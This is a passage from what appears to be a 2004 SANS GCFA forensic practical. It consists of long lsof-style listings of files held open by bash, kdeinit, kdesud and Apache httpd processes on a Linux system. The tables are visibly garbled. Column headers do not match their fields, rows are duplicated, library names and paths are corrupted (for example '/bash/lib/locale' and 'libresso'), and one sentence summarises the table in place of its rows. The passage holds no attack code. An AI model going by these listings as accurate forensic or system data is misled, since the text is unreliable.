<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>1269</td>
<td>1024</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>1269</td>
<td>36360</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>cwd</td>
<td>DIR</td>
<td>6133</td>
<td>4096</td>
<td>/home/userid1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>rtd</td>
<td>DIR</td>
<td>6133</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>txt</td>
<td>REG</td>
<td>6133</td>
<td>36360</td>
<td>/usr/bin/kdeinit</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>89547</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>2457</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
<table>
<thead>
<tr>
<th>Process</th>
<th>PID</th>
<th>Username</th>
<th>Type</th>
<th>Flags</th>
<th>Command Line</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit</td>
<td>6133</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>6133</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/X11R6/lib/X11/locale/common/xomGeneric.so.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>6133</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>6133</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/gconv/ISO8859-15.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>6133</td>
<td>userid1</td>
<td>1w</td>
<td>REG</td>
<td>3,2 1453 32328 /home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kdeinit</td>
<td>6133</td>
<td>userid1</td>
<td>2w</td>
<td>REG</td>
<td>3,2 1453 32328 /home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kdeinit</td>
<td>6133</td>
<td>userid1</td>
<td>3u</td>
<td>unix</td>
<td>0xc2e450c0 280004 socket</td>
</tr>
<tr>
<td>kdeinit</td>
<td>6133</td>
<td>userid1</td>
<td>4u</td>
<td>unix</td>
<td>0xc4fb90e0 280008 socket</td>
</tr>
<tr>
<td>kdeinit</td>
<td>6133</td>
<td>userid1</td>
<td>5r</td>
<td>FIFO</td>
<td>0,5 280010 pipe</td>
</tr>
<tr>
<td>kdeinit</td>
<td>6133</td>
<td>userid1</td>
<td>6w</td>
<td>FIFO</td>
<td>0,5 280010 pipe</td>
</tr>
<tr>
<td>kdeinit</td>
<td>6133</td>
<td>userid1</td>
<td>7u</td>
<td>unix</td>
<td>0xc4fb9ae0 280011 socket</td>
</tr>
<tr>
<td>kdeinit</td>
<td>6135</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,3 4096 32321 /home/userid1</td>
</tr>
<tr>
<td>kdesud</td>
<td>6135</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5 1024 2 /</td>
</tr>
<tr>
<td>kdesud</td>
<td>6135</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,2 57092 33561 /usr/bin/kdesud</td>
</tr>
<tr>
<td>kdesud</td>
<td>6135</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 18152 17015 /usr/X11R6/lib/libXtst.so.6.1</td>
</tr>
<tr>
<td>kdesud</td>
<td>6135</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 2457 130311 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>kdesud</td>
<td>6135</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>kdesud</td>
<td>6135</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>kdesud</td>
<td>6135</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>kdesud</td>
<td>6135</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>kdesud</td>
<td>6135</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

bash 7170 userid1 rtd DIR 3,5 1024 2 / 
bash 7170 userid1 txt REG 3,5 541096 40973 /bin/bash 
bash 7170 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so 
bash 7170 userid1 mem REG 3,2 371 130311 
/bash/lib/locale/en_US.iso885915/LC_IDENTIFICATION 
bash 7170 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache 
bash 7170 userid1 mem REG 3,2 29 130312 
/bash/lib/locale/en_US.iso885915/LC_MEASUREMENT 
bash 7170 userid1 mem REG 3,2 65 130316 
/bash/lib/locale/en_US.iso885915/LC_TELEPHONE 
bash 7170 userid1 mem REG 3,2 161 130310 
/bash/lib/locale/en_US.iso885915/LC_ADDRESS 
bash 7170 userid1 mem REG 3,2 83 130314 
/bash/lib/locale/en_US.iso885915/LC_NAME 
bash 7170 userid1 mem REG 3,2 40 130315 
/bash/lib/locale/en_US.iso885915/LC_PAPER 
bash 7170 userid1 mem REG 3,2 58 179360 
/bash/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES 
bash 7170 userid1 mem REG 3,2 292 130313 
/bash/lib/locale/en_US.iso885915/LC_COLLATE 
bash 7170 userid1 mem REG 3,2 173680 130324 
/bash/lib/locale/en_US.iso885915/LC_CTYPE 
bash 7170 userid1 mem REG 3,2 1401027 73730 /lib/i686/libc-2.2.5.so 
/bash/lib/locale/en_US.iso885915/LC_COLLATE 
bash 7170 userid1 mem REG 3,2 45415 63523 /lib/nss_files.so.2.2.5 
/bash/lib/locale/en_US.iso885915/LC_PAPER 
bash 7170 userid1 mem REG 3,2 255 130323 
/bash/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES 
bash 7170 userid1 mem REG 3,5 5391 43050 /lib/security/pam_rootok.so 
/bash/lib/locale/en_US.iso885915/LC_COLLATE
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>PID</th>
<th>Mode</th>
<th>Size</th>
<th>Offset</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>8125</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407 440046 /usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>8125</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407 440046 /usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>8125</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176 425001 /usr/lib/php/apk/imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>8125</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8621 440043 /usr/lib/php/apk/libpng.so.2.1.0.12</td>
</tr>
</tbody>
</table>

The table continues with similar entries. Each entry represents a process (httpd), user (root), PID (8125), mode (mem), size, offset, and path to the relevant library or file.
httpd 10606 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 10606 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 10606 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_headers.so
httpd 10606 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 10606 root mem REG 3,2 92407 440046 /usr/lib/apache/mod_auth_db.so
httpd 10606 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 10606 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
httpd 10606 root mem REG 3,2 153026 229551 /usr/lib/apache/libphp4.so
httpd 10606 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 10606 root mem REG 3,2 146819 60089 /usr/lib/libcurl.so.2.0.2
httpd 10606 root mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 10606 root mem REG 3,2 11174 63541 /lib/libutil-2.2.5.so
httpd 10606 root mem REG 3,2 83 130316 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 10606 root mem REG 3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
httpd 10606 root mem REG 3,2 60 130316 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
httpd 10606 root mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
httpd 10606 root mem REG 3,2 22592 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 10606 root mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_CTYPE
httpd 10606 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 10606 root mem REG 3,5 68925 65357 /lib/libresolv-2.2.5.so
httpd 10606 root mem REG 3,5 207008 66033 /usr/lib/libncurses.so.5.2
httpd 10606 root mem REG 3,5 16051 63562 /lib/libcrypto.so.0.9.6b
httpd 10606 root mem REG 3,2 290511 65311 /usr/lib/libjpeg.so.62.0.0
httpd 10606 root mem REG 3,2 189626 65384 /usr/lib/libttf.so.2.3.0
httpd 10606 root mem REG 3,2 425833 65382 /usr/lib/libfreetype.so.6.3.0
httpd 10606 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 10606 root mem REG 3,2 79725 440048 /usr/lib/libcrypto.so.3.0.3
httpd 10606 root mem REG 3,2 42069 425002 /usr/lib/php/ldap.so
httpd 10606 root mem REG 3,2 49992 66089 /usr/lib/libcurl.so.2.0.2
httpd 10606 root mem REG 3,5 143026 65311 /usr/lib/libcurl.so.2.0.2
httpd 10606 root mem REG 3,2 290511 63311 /usr/lib/libncurses.so.5.2
httpd 10606 root mem REG 3,2 251482 65386 /usr/lib/libgmp.so.3.2.1
httpd 10606 root mem REG 3,5 196866 63287 /usr/lib/libgmp.so.3.2.1
httpd 10606 root mem REG 3,5 171774 65410 /usr/lib/libxml2.so.2.4.19
httpd 10606 root mem REG 3,5 45415 65263 /usr/lib/libpng.so.2.1.0.12
httpd 10606 root mem REG 3,5 48583 65345 /usr/lib/libcidr-3libc6.2-2.10.0.so
httpd 10606 root mem REG 3,2 191615 65351 /usr/lib/libpf.so.2.0.15
httpd 10606 root mem REG 3,2 44992 63349 /usr/lib/libxml2.so.2.4.19
httpd 10606 root mem REG 3,2 146819 60089 /usr/lib/libcurl.so.2.0.2
httpd 10606 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
httpd 10606 root mem REG 3,5 207008 63563 /lib/libssl-2.2.5.so
httpd 10606 root mem REG 3,5 68925 65335 /lib/libssl.so.2.0.15
httpd 10606 root mem REG 3,2 153026 66042 /usr/lib/libjpeg.so.2.0.2
httpd 10606 root mem REG 3,2 290511 63311 /usr/lib/libncurses.so.5.2
httpd 10606 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 10606 root mem REG 3,5 196866 66287 /usr/lib/libgmp.so.3.2.1
httpd 10606 root mem REG 3,5 171774 65410 /usr/lib/libxml2.so.2.4.19
httpd 10606 root mem REG 3,5 45415 65263 /usr/lib/libpng.so.2.1.0.12
httpd 10606 root mem REG 3,2 191615 65351 /usr/lib/libpf.so.2.0.15
httpd 10606 root mem REG 3,2 44992 63349 /usr/lib/libxml2.so.2.4.19
httpd 10606 root mem REG 3,2 146819 60089 /usr/lib/libcurl.so.2.0.2
httpd 10606 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
httpd 10606 root mem REG 3,5 207008 63563 /lib/libssl.so.2.0.15
httpd 10606 root mem REG 3,5 68925 65335 /lib/libssl.so.2.0.15
httpd 10606 root mem REG 3,2 153026 66042 /usr/lib/libjpeg.so.2.0.2
httpd 10606 root mem REG 3,2 290511 63311 /usr/lib/libncurses.so.5.2
httpd 10606 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 10606 root mem REG 3,5 196866 66287 /usr/lib/libgmp.so.3.2.1
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Command</th>
<th>Status</th>
<th>PID</th>
<th>Username</th>
<th>Connection</th>
<th>Arguments</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
<td>/dev/null</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
<td></td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>/var/run/httpd.mm.8124.sem</td>
<td></td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
<td></td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td></td>
<td>*:https (LISTEN)</td>
<td></td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td></td>
<td>*:http (LISTEN)</td>
<td></td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
<td>/var/log/httpd/access_log</td>
<td></td>
</tr>
<tr>
<td>httpd 10606</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>/var/log/httpd/ssl_request_log</td>
<td></td>
</tr>
<tr>
<td>httpd 10607</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td></td>
</tr>
<tr>
<td>httpd 10607</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td></td>
</tr>
<tr>
<td>httpd 10607</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
<td>290169</td>
<td>/usr/sbin/httpd</td>
<td></td>
</tr>
<tr>
<td>httpd 10607</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9883</td>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
<td></td>
</tr>
<tr>
<td>httpd 10607</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8301</td>
<td>/usr/lib/apache/mod_env.so</td>
<td></td>
</tr>
<tr>
<td>httpd 10607</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17638</td>
<td>/usr/lib/apache/mod_log_config.so</td>
<td></td>
</tr>
<tr>
<td>httpd 10607</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>7438</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
<td></td>
</tr>
<tr>
<td>httpd 10607</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8530</td>
<td>/usr/lib/apache/mod_log_referer.so</td>
<td></td>
</tr>
<tr>
<td>httpd 10607</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8274</td>
<td>/usr/lib/apache/mod_dir.so</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Process</td>
<td>Username</td>
<td>Flags</td>
<td>PID</td>
<td>Time</td>
<td>Size</td>
<td></td>
<td></td>
</tr>
<tr>
<td>---------</td>
<td>----------</td>
<td>-------</td>
<td>-----</td>
<td>------</td>
<td>------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10607</td>
<td>0</td>
<td>440048</td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10607</td>
<td>0</td>
<td>440048</td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10607</td>
<td>0</td>
<td>440048</td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10607</td>
<td>0</td>
<td>440048</td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10607</td>
<td>0</td>
<td>440048</td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LCCTYPE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10607</td>
<td>0</td>
<td>440048</td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Kevin Miller - Sans GCFA Assignment – v1.4

As part of GIAC practical repository. Author retains full rights.

© SANS Institute 2004
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Flags</th>
<th>Size (bytes)</th>
<th>Pathname</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>655224</td>
<td>/lib/db-3.3.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19662</td>
<td>/lib/libitm.so.11.0.23</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>141735</td>
<td>/lib/libxpath.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>12102</td>
<td>/lib/liblmb.so.2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>14929</td>
<td>229516 /lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>27415</td>
<td>229519 /lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>18365</td>
<td>229523 /lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19959</td>
<td>229512 /lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>35886</td>
<td>229511 /lib/apache/mod_include.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>27836</td>
<td>229501 /lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>14940</td>
<td>229503 /lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>6924</td>
<td>229496 /lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>15974</td>
<td>229510 /lib/apache/mod_imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>8541</td>
<td>229494 /lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>8770</td>
<td>229525 /lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10617</td>
<td>229495 /lib/apache/mod_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>53189</td>
<td>229520 /lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10034</td>
<td>229493 /lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>11985</td>
<td>229497 /lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>8486</td>
<td>229498 /lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>9304</td>
<td>229499 /lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>9900</td>
<td>229508 /lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>8261</td>
<td>229509 /lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10176</td>
<td>229521 /lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>92407</td>
<td>400406 /lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>11174</td>
<td>63541 /lib/butil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>122952</td>
<td>229529 /lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>210094</td>
<td>229531 /lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>1453198</td>
<td>425001 /lib/php/imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>8621</td>
<td>440043 /lib/kerberos/lib/libcom_err.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>20666</td>
<td>114263 /lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>929</td>
<td>130312 /lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>65</td>
<td>130316 /lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>161</td>
<td>130310 /lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>83</td>
<td>130314 /lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>40</td>
<td>130315 /lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>58</td>
<td>179360 /lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>292</td>
<td>130313 /lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>22592</td>
<td>130323 /lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>89424</td>
<td>63507 /lib/libssl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>1561021</td>
<td>229551 /lib/apache/libphp4.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>35340</td>
<td>63567 /lib/libpm.so.0.75</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>28138</td>
<td>66033 /lib/libstdc++.so.3.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>5300</td>
<td>66039 /lib/libpam-sasl-modules.so.0.1.0.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>426442</td>
<td>65304 /lib/libstdc++-3-libc6.2.2.2-2.10.0.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>131560</td>
<td>65396 /lib/libpng.so.2.0.10.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>59778</td>
<td>65358 /lib/libbz.so.0.1.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>146819</td>
<td>66089 /lib/libcurl.so.2.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>924879</td>
<td>65642 /lib/libcrypto.so.0.9.6.6</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>207008</td>
<td>65632 /lib/libssl.so.0.9.6.6</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>68925</td>
<td>65355 /lib/libresso-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>153026</td>
<td>66042 /lib/libpam-sasl-modules.so.0.4.0.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>290511</td>
<td>65311 /lib/libnsscache.so.5.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>215482</td>
<td>65386 /lib/libgmp.so.3.2.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>196866</td>
<td>66287 /lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>717774</td>
<td>65410 /lib/libxml2.so.2.4.19</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>66646</td>
<td>65263 /lib/libxml2.so.1.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>189626</td>
<td>65384 /lib/libttf.so.2.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>295833</td>
<td>65382 /lib/libfreeaddrinfo.so.6.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>140418</td>
<td>65389 /lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>Process Name</td>
<td>User</td>
<td>Group</td>
<td>Memory</td>
<td>REG</td>
</tr>
<tr>
<td>--------------</td>
<td>------</td>
<td>-------</td>
<td>--------</td>
<td>-----</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
